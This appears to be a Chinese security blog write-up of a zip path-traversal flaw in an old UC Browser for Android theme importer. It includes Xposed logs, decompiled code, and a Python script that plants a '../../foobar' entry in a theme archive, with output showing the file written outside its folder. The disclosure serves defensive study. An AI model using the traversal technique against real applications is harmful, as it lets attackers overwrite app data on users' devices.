UC浏览器:ZipInputStream引发的思考

发表于:2015-11-19 11:50:00 来源: 黑客与极客 阅读数(0人)

综述


对于那些不了解ZipInputStream Armageddon(电影:世界末日)的朋友来说,ZipInputStream就跟这部电影一样的令人失望!


UC浏览器:ZipInputStream引发的思考

 

ZipInputStream对于zip文档不安全的处理方式会直接导致将设备最终控制权交给攻击者,攻击者能够遍历整个路径并写入任何数据。然而今天我并不是要讲ZipInputStream的使用方法,当然如果感兴趣的开发者朋友可以花点时间看看《Safely extract files from ZipInputStream


当然,我们还应该小心被我称之为“堆栈溢出”的问题代码重用综合征:https://gist.github.com/shengoo/11240519。到目前为止,越来越开发者对ZipInputStream的错误认识导致出现BUG层出不穷,今天我们就拿UC浏览器来说事儿!


UC Browser for Android


在一个老版本的UC浏览器中,有一个特性允许用户下载并应用一个主题。这个节奏大家应该会很熟悉….主题文件本身有一个名为"uct"的自定义扩展名,事实上剥开皮它就是一个Zip压缩文件。


[~/R&D/uc-browser]> file Deep-Midnight.uct
Deep-Midnight.uct: Zip archive data, at least v1.0 to extract

通过UC浏览器下载主题文件,首先将其存储在外部存储空间中,然后再复制到浏览器的数据目录之中。这里我已经知道你想说什么了,这些文件的确是浏览器通过HTTP进行下载。但是你要注意了,它还有一个从本机中导入的功能


UC浏览器:ZipInputStream引发的思考

 

UC浏览器:ZipInputStream引发的思考

 

通过工具我们可以确定用于提取和应用Zip文件内容的主题处理函数在哪:

I/Xposed  ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getInputStream : zipEntry : Orange-Popsicle/config.cfg
I/Xposed  ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getInputStream : StackTrace : com.uc.framework.c.ai : a
I/Xposed  ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getInputStream : StackTrace : com.uc.browser.core.skinmgmt.aa : e
I/Xposed  ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getInputStream : StackTrace : com.uc.browser.core.skinmgmt.aa : handleMessage

现在我们就可以使用这些信息以及利用Lobotomy的surgicalAPI静态验证一个可能存在的BUG:

I/Xposed  ( 4803): com.UCMobile.intl : java.util.zip.ZipInputStream : getNextEntry : Hooked!
I/Xposed  ( 4803): com.UCMobile.intl : java.util.zip.ZipInputStream : getNextEntry : zipEntry : Orange-Popsicle/color.xml
I/Xposed  ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getNextEntry : StackTrace : com.uc.framework.c.ak : a
I/Xposed  ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getNextEntry : StackTrace : com.uc.framework.c.ai : a
...
..
.
v0 = v4.append(v0).append("config.cfg").toString();
                v4 = new java.util.zip.ZipFile(p11);
                v0 = v4.getEntry(v0);
                if(v0 != 0) {
                    v7 = v4.getInputStream(v0);
                } else {
                    v7 = 0;
                }

...
..
.

长话短说,UC浏览器通过调用getNextEntry()抓取Zip文档中的每一个文件,并将其写入/data/data/com.UCMobile.intl/downTheme/theme/Orange-Popsicle文件夹内适当的位置。


在这里绝对没有对Zip文件进行任何验证

root@hammerhead:/data/data/com.UCMobile.intl/downTheme/theme/Orange-Popsicle #
ls -la
-rw------- u0_a76   u0_a76       4736 2015-11-12 14:57 color.xml
-rw------- u0_a76   u0_a76        317 2015-11-12 14:57 config.cfg

攻击者从现在开始便可以从几个不同的角度着手处理该漏洞的exploit。通过中间人攻击,他们可以将一个恶意主题文件注入到下载功能的HTTP响应中。或者欺骗用户下载一个恶意主题并期待他们能够通过本地应用该主题文件。


首先我们需要在Zip文件中注入一个路径遍历,然后将其放入设备中:

import zipfile
import sysif __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile(sys.argv[1], "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo(sys.argv[1])
        zipFile.writestr("../../foobar", "foobar")
        zipFile.close()
    except IOError as e:
        raise e

[~/R&D/uc-browser]> python zip_inject.py Deep-Midnight.uct
┌[benjaminwatson@BENWAT-COTP-1] [/dev/ttys003]
└[~/R&D/uc-browser]> unzip -l Deep-Midnight.uct
...
..
.
       616  01-21-15 15:27   Deep-
Midnight/drawable/webAppFullScreenBtnIcon.png
     2848  01-21-15 15:27   Deep-Midnight/drawable/window_1.png
     1368  01-21-15 15:27   Deep-Midnight/drawable/window_1_patchdrawable.xml
         6  11-12-15 15:30   ../../foobar

一旦从外部存储器中选择并应用该主题文件,我们应该是可以看到数据已被成功写入


UC浏览器:ZipInputStream引发的思考

 

root@hammerhead:/data/data/com.UCMobile.intl # ls
StartedFlagFile
UCMobile
app_external
app_webview
bannerimages
cache
com
coredata
crash
databases
downTheme
downWallpaper
files
foobar <- Success!
lib
scrollParams.config
searchimages
shared_prefs
stats_offline
user
wa

结论


这些BUG的一次次出现,究其原因都是没有对Zip内容进行必要的验证导致。大部分情况下都是由于一些开发者不知道怎么想的,总是默认Zip文件是不会被篡改的,因而不去考虑这样所到来的后果。


相关新闻

大家都在学

课程详情

Android安全基础

课程详情

Android基础编程

课程详情

网络安全事件